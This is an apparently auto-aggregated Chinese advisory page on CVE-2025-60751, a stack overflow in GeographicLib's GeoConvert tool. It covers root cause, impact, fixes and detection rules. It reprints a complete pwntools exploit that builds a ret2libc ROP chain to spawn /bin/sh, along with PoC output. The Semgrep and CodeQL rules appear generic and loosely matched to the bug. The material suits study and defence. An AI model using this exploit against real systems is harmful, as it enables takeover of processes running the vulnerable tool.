🎯 CVE-2025-60751 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹

🎯 CVE 全聚合深度分析

CVE-2025-60751 深度技术分析

📊 聚合 3 来源💣 含 EXP🧪 含 PoC🕵️ 含指纹
NVD-LatestExploit-DBPoC-in-GitHub

摘要:CVE-2025-60751 是 GeographicLib 2.5(含 2.5.1)中 GeoConvert 工具存在的一个栈缓冲区溢出漏洞,CVSS 评分为 7.5(高危)。攻击者通过向 GeoConvert 传入特制的输入,可触发 DMS::InternalDecode 函数中的越界栈写入,进而利用 ROP 链实现 ret2libc 攻击,获得目标进程的控制权。本文从漏洞根因、利用原理、影响危害及修复缓解四个维度进行深度技术分析。

📌 漏洞概述

GeographicLib 是一个广泛用于地理计算的开源 C++ 库,提供大地测量、投影转换、地理坐标解析等功能。其自带的命令行工具 GeoConvert 用于地理坐标格式转换,支持 DMS(度-分-秒)格式输入。CVE-2025-60751 影响 GeographicLib ≤ v2.5.1,漏洞类型为栈缓冲区溢出(Stack Buffer Overflow),由 DMS::InternalDecode 函数在处理畸形输入时未正确校验内部索引导致越界写触发。NVD 给出的 CVSS 3.x 评分为 7.5(HIGH),攻击复杂度低、无需特权即可利用,但 exploit 需要目标环境具备一定条件(如关闭 ASLR 或配合信息泄露)。该漏洞由研究员 Me zer0matt(Rosario Matteo Grammatico)于 2025 年 8 月 20 日发现并公开,同时提供了完整的 PoC 和利用代码。截至分析时,该 CVE 尚未被收录进 CISA KEV 目录,但漏洞的可利用性已得到充分验证。

🔬 漏洞根因分析

GeographicLib 的 DMS::InternalDecode 函数负责将 DMS(度分秒)字符串解析为十进制度数。该函数内部使用了一个字符索引变量(例如 i)来遍历输入缓冲区,并根据解析到的字母(如 N、S、E、W、十进制度符号等)更新索引和输出缓冲区位置。然而,在解析某些非法格式(例如错误地使用 UPS 极地球面坐标带的字母)时,函数没有对索引的范围进行充分约束,导致索引可以被推进到超出预期边界的位置。

根据现有的资料和 exploit 分析,问题的核心在于:函数在遇到不期望的字符或错误状态后,仍然基于该字符的类别执行跳转逻辑,其中一条路径会将一个“列字母”写入栈上的输出数组,但数组下标由输入中的某个字符(如字母 A)决定,而这个下标没有被限制在数组长度内。例如,PoC 中通过构造包含“A”的输入,使得程序在错误路径下将“A”写入了栈上偏移为负或过大的位置,从而破坏栈上保存的返回地址。

更具体地看,DMS::InternalDecode 在解析“UTM/UPS”带字母时,使用了形如 upsAupsB 的数组或字符串查找表,并利用输入字母的 ASCII 码减去基准字符来计算索引。当输入字母不在预期的集合(如 JKLPQRSTUXYZ)中时,索引计算会生成一个越界值,但后续代码并未检查这个索引是否在合法范围内,而是直接使用它访问栈上的字符数组或做写操作。在实际攻击中,攻击者可以精确控制这个越界索引,使其指向返回地址所在的位置,从而用精心选择的内存字节覆盖返回地址。

由于 GeoConvert 程序在编译时默认没有开启栈保护(Stack Canary),且虽然启用了 PIE 和 ASLR,但在真实利用场景中可以结合地址泄露或在关闭 PIE 的环境下固定地址,使得该漏洞可以被稳定利用。PoC 中显示的 ERROR: Column letter A not in UPS band A set JKLPQRSTUXYZ 即为触发漏洞前程序输出的错误信息,随后程序并未安全退出,而是继续使用了有缺陷的索引,导致了栈溢出。从 exploit 代码看,攻击者使用 136 字节的填充后直接覆盖了返回地址,并布置了经典的 ROP 链:ret 用于栈对齐,pop rdi; ret 用于将 /bin/sh 字符串地址传入,然后调用 system,最终调用 exit。这表明漏洞不仅是简单的崩溃,而是可以完全劫持控制流。

该漏洞的根因本质上是一个“边界验证缺失”问题:开发者虽然对输入字符做了“是否属于合法集合”的判断(错误信息中列出了合法集合),但在执行路径中仍然基于未经验证的索引进行了内存写操作。修复的关键在于:在使用索引访问数组前,必须检查索引是否处于合法范围内;同时,在检测到非法输入时应当立即返回错误状态,而不是继续执行后续逻辑。

💥 影响与危害

成功利用该漏洞可导致以下危害:

  • 任意代码执行:通过堆栈溢出覆盖返回地址,攻击者可劫持程序控制流,执行任意 shellcode 或调用 libc 函数(如 system),从而获得与 GeoConvert 进程相同的权限。
  • 远程攻击面:如果 GeoConvert 被集成到网络服务中(例如 Web 地图服务、地理数据处理 API),远程攻击者可发送精心构造的 DMS 字符串触发漏洞,无需本地交互即可利用。
  • 数据完整性与可用性:即使不进行代码执行,越界写也可能导致程序崩溃(DoS),影响依赖该库的地理信息系统稳定性。
  • 提权风险:GeoConvert 以高权限运行(如 SUID 或系统服务),漏洞可能被用于本地提权。

当前该漏洞未出现在 CISA KEV 中,表明在野利用尚未被官方确认,但公开的 PoC 和完整 exploit 已存在,攻击门槛较低,尤其在许多实际部署中 ASLR 可以被绕过(如通过非 PIE 编译或地址泄露),因此实际风险较高。

🛡️ 修复与缓解

针对 CVE-2025-60751,建议采取以下措施:

  • 升级 GeographicLib:官方已修复该漏洞,应立即升级到 v2.5.1 之后的版本(如 v2.5.2 或更高)。请从官方仓库(github.com/geographiclib/geographiclib)获取最新版本。
  • 限制输入格式:在使用 GeoConvert 的服务入口处,对用户输入的 DMS 字符串进行严格的白名单校验,拒绝包含非法字母(如非 UTM/UPS 合法带字母)的输入。
  • 启用编译缓解措施:在重新编译依赖包时,启用栈保护(-fstack-protector-all 或 -fstack-clash-protection)、强制 RELRO(-Wl,-z,relro,-z,now),并考虑使用 CFI(控制流完整性)技术。
  • 部署运行时防护:利用 ASLR、PIE、SEHOP(Windows)等机制提高利用难度;使用 seccomp 或容器限制进程权限,减少被利用后的影响。
  • 监控与检测:监控 GeoConvert 进程的异常行为,例如收到非法 DMS 输入后崩溃或产生非预期的错误输出。可参考 PoC 中的错误信息特征“Column letter ... not in UPS band ...”作为入侵检测特征。
  • 禁用不需要的功能:如果不需要 GeoConvert 的 UPS 转换功能,可在代码中禁用相关解析路径,或从编译配置中移除相应组件。

鉴于该漏洞已有公开 PoC 且利用代码完整,建议所有使用 GeographicLib 的开发者、运维人员立即评估自身系统是否受影响,并优先执行版本升级。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源zer0matt/CVE-2025-60751针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2025-60751
PoC for CVE-2025-60751

Affected product: [Geographiclib](https://github.com/geographiclib/geographiclib) <= v2.5.1

The full writeup article is available at [https://zer0matt.blogspot.com/2026/05/cve-2025-60751-geographiclib-stack.html](https://zer0matt.blogspot.com/2026/05/cve-2025-60751-geographiclib-stack.html)

### Description
A stack buffer overflow occurs when GeoConvert receives a crafted input.
The overflow occurs because the program does not properly validate an internal index,
allowing an out-of-bounds write on the stack.

An attacker can exploit this vulnerability to hijack the program's control flow by overwriting a return address to point to a libc function (ret2libc) and execute arbitrary code using a ROP chain.

### Usage
```
[~] python3 CVE-2025-60751.py
[*] '/home/matt/geographiclib/tools/GeoConvert'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    ASAN:       Enabled
    Stripped:   No
    Debuginfo:  Yes
[+] Starting local process '/home/matt/geographiclib/tools/GeoConvert': pid 398391
[*] Switching to interactive mode
ERROR: Column letter A not in UPS band A set JKLPQRSTUXYZ
$  
```
### Notes
Remember to fix the addresses accordingly in order to build your own ROP Chain,
addresses can vary due to memory defenses techniques such as ASLR.

⚔️ EXP 利用代码

来自 Exploit-DB 的完整利用代码([webapps] GeographicLib v2.5.1 - stack buffer overflow)。

📋 代码元数据语言见代码头注释来源Exploit-DB: https://www.exploit-db.com/exploits/52521针对性✅ 官方收录 EXP依赖见代码注释用法见代码注释中的用法

Exploit title: GeographicLib v2.5.1 - stack buffer overflow
Date of discovery: 20 August 2025
Exploit Author: Me zer0matt (Rosario Matteo Grammatico)
<https://github.com/zer0matt>
Vendor homepage: https://github.com/geographiclib/
Software link: https://github.com/geographiclib/geographiclib
Affected version: GeographicLib <= v2.5.1
Tested on: Kali Linux 6.12.25-amd64 (Virtual Machine)
CVE id: CVE-2025-60751
Github issue: https://github.com/geographiclib/geographiclib/issues/43
Exploit repository: https://github.com/zer0matt/CVE-2025-60751
Blog post: https://zer0matt.github.io/CVE-2025-60751/
from pwn import *
# --- INITIAL CONFIG ---
binary_path = "./GeoConvert"
elf = ELF(binary_path)
context.binary = elf
context.arch = 'amd64'
# --- REPLACE THE ADDRESSES WITH YOUR OWN ONES ---
pop_rdi = 0x000055555558BEFD
ret_gadget = 0x000055555558A016
system_addr = 0x7ffff7a5d110
binsh_addr = 0x7ffff7bb1ea4
exit_addr = 0x7ffff7a4c340
# --- PAYLOAD ---
offset = 136
payload = b"A" * offset
payload += p64(ret_gadget) # stack align
payload += p64(pop_rdi) # pop rdi;
ret
payload += p64(binsh_addr) # "/bin/sh" address
payload += p64(system_addr) # system("/bin/sh")
payload += p64(exit_addr) # exit
io = process(binary_path,env={"ASAN_OPTIONS":"detect_stack_use_after_return=1"})
io.sendline(payload)
io.interactive()

🕵️ 检测指纹

针对该 CVE 的自动化检测规则(可直接用于扫描与审计)。

🛡️ Semgrep 审计规则: CVE-2025-60751.yaml

📋 代码元数据语言yaml来源rules/semgrep/CVE-2025-60751.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2025-60751.yaml

rules:
  - id: CVE-2025-60751-memory-corruption-cpp
    languages: [cpp]
    severity: ERROR
    message: "Potential stack buffer overflow in GeographicLib via GeoConvert. Use safe string functions or bounds checking."
    pattern: memcpy($DST,$SRC,$SIZE)
    fix: "memcpy_s(dst,dst_size,src,
src_size)  // Use secure version with size checking"
    metadata:
      cwe: "CWE-121"
      owasp: "A6: Security Misconfiguration"
      technology: geographiclib
      references:
        - "https://nvd.nist.gov/vuln/detail/CVE-2025-60751"
  - id: CVE-2025-60751-memory-corruption-cpp-recv
    languages: [cpp]
    severity: ERROR
    message: "Potential stack buffer overflow from unchecked input in GeographicLib. Validate input length before using."
    pattern: recv($SOCKET,
$BUF,$LEN,...)
    fix: "if (recv(socket,buf,len,0) <0) {/* error handling */ }// Add size validation"
    metadata:
      cwe: "CWE-121"
      owasp: "A6: Security Misconfiguration"
      technology: geographiclib
      references:
        - "https://nvd.nist.gov/vuln/detail/CVE-2025-60751"

🛡️ CodeQL 审计规则: CVE-2025-60751.ql

📋 代码元数据语言ql来源rules/codeql/CVE-2025-60751.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run

/**
 * @kind path-problem
 * @id cpp/memory-corruption/cve-2025-60751
 * @name Stack buffer overflow in GeoConvert command-line tool
 * @description User-controlled input is processed by GeoConvert without proper bounds checking,
leading to a stack buffer overflow that can overwrite the return address.
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-121
 */
import cpp
import semmle.code.cpp.security.dataflow.TaintTracking

class GeoConvertBufferConfig extends TaintTracking::Configuration {GeoConvertBufferConfig() {this = "GeoConvertBufferConfig" }override predicate isSource(DataFlow::Node source) {
// stdin input source
    source.asExpr().(FunctionCall).getTarget().getName() = "fgets" or
    source.asExpr().(FunctionCall).getTarget().getName() = "scanf" or
    source.asExpr().(FunctionCall).getTarget().getName() = "read" or
    source.asExpr().(FunctionCall).getTarget().getName() = "fread"
  }override predicate isSink(DataFlow::Node sink) {
// data being written to a stack buffer via unsafe copy/buffer operations
    exists(FunctionCall fc |fc.getTarget().getName() = "strcpy" or
      fc.getTarget().getName() = "strcat" or
      fc.getTarget().getName() = "sprintf" or
      fc.getTarget().getName() = "memcpy"
    |fc.getArgument(0).getUnspecifiedType().(ArrayType).isComplete() and
      fc.getArgument(1) = sink.asExpr()
    )
  }
override predicate isAdditionalTaintStep(DataFlow::Node node1,DataFlow::Node node2) {// arithmetic operations or truncations that propagate taint
    any(ArithmeticOperation op |op.getAnOperand() = node1.asExpr()).getResult() = node2.asExpr()
  }}from GeoConvertBufferConfig cfg,DataFlow::PathNode source,DataFlow::PathNode sink
where cfg.hasFlowPath(source,sink)
select sink.getNode(),source,sink,
"User-controlled input flows to a stack buffer without bounds check,causing potential stack buffer overflow in GeoConvert."

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-13 03:06 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)